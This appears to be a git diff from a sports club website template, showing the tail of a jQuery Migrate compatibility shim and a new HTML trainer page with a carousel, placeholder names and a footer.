e.fn.offset = function() {
var n, a = this[0], o = {
top: 0,
left: 0
};
return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
};
var k = e.param;
e.param = function(t, n) {
var a = e.ajaxSettings && e.ajaxSettings.traditional;
return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
n = a), k.call(this, t, n);
};
var A = e.fn.andSelf || e.fn.addBack;
e.fn.andSelf = function() {
return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
A.apply(this, arguments);
};
var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
return e.Deferred = function(t) {
var n = S(), a = n.promise();
return n.pipe = a.pipe = function() {
var t = arguments;
return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
e.each(q, function(o, i) {
var s = e.isFunction(t[o]) && t[o];
n[i[1]](function() {
var t = s && s.apply(this, arguments);
t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
});
}), t = null;
}).promise();
}, t && t.call(n, n), n;
}, e.Deferred.exceptionHook = S.exceptionHook, e;
});

File diff suppressed because one or more lines are too long

5
web/sport/club/js/jquery.min.js vendored Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

7
web/sport/club/js/owl.carousel.min.js vendored Normal file

File diff suppressed because one or more lines are too long

210
web/sport/club/tranner.html Normal file
View File

@@ -0,0 +1,210 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>yogast</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" href="css/style.css">
<!-- responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- awesome fontfamily -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<!-- body -->
<body class="main-layout inner_page">
<!-- loader -->
<div class="loader_bg">
<div class="loader"><img src="images/loading.gif" alt="" /></div>
</div>
<!-- end loader -->
<div id="mySidepanel" class="sidepanel">
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
<a href="index.html">Home</a>
<a href="about.html">About</a>
<a href="games.html">Games</a>
<a class="active" href="tranner.html">Tranner</a>
<a href="contact.html">Contact</a>
</div>
<!-- header -->
<header>
<!-- header inner -->
<div class="head-top">
<div class="container-fluid">
<div class="row d_flex">
<div class="col-sm-3">
<div class="logo">
<a href="index.html"><img src="images/logo.png" /></a>
</div>
</div>
<div class="col-sm-9">
<ul class="email text_align_right">
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
</ul>
</div>
</div>
</div>
</div>
</header>
<!-- end header -->
<!-- trannir -->
<div class="trannir">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="titlepage text_align_center">
<h2>Our Club Trannir</h2>
<p>n some form, by injected humour, or randomised</p>
</div>
</div>
</div>
<div class="row d_flex">
<div class="col-lg-10 offset-lg-1 col-md-12">
<div id="testimo" class="carousel slide our_trannir" data-ride="carousel">
<ol class="carousel-indicators">
<li data-target="#testimo" data-slide-to="0" class="active"></li>
<li data-target="#testimo" data-slide-to="1"></li>
<li data-target="#testimo" data-slide-to="2"></li>
</ol>
<div class="carousel-inner">
<div class="carousel-item active">
<div class="container">
<div class="carousel-caption posi_in">
<div class="trannir_text">
<i><img src="images/clint.jpg" alt="#"/></i>
<h3>Denial sork</h3>
<span>Trannir</span>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="carousel-caption posi_in">
<div class="trannir_text">
<i><img src="images/clint.jpg" alt="#"/></i>
<h3>Denial sork</h3>
<span>Trannir</span>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="carousel-caption posi_in">
<div class="trannir_text">
<i><img src="images/clint.jpg" alt="#"/></i>
<h3>Denial sork</h3>
<span>Trannir</span>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#testimo" role="button" data-slide="prev">
<i class="fa fa-angle-left" aria-hidden="true"></i>
<span class="sr-only">Previous</span>
</a>
<a class="carousel-control-next" href="#testimo" role="button" data-slide="next">
<i class="fa fa-angle-right" aria-hidden="true"></i>
<span class="sr-only">Next</span>
</a>
</div>
</div>
</div>
</div>
</div>
<!-- end trannir -->
<!-- footer -->
<footer>
<div class="footer">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<h3>Follow Us</h3>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
<div class="conta text_align_center">
<ul>
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
</a>
</li>
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="menu_bottom text_align_center">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="about.html">About</a></li>
<li><a href="games.html">Games</a></li>
<li><a href="tranner.html">Tranner</a></li>
<li><a href="contact.html">Contact</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="copyright text_align_center">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
</div>
</div>
</div>
</div>
</div>
</footer>
<!-- end footer -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>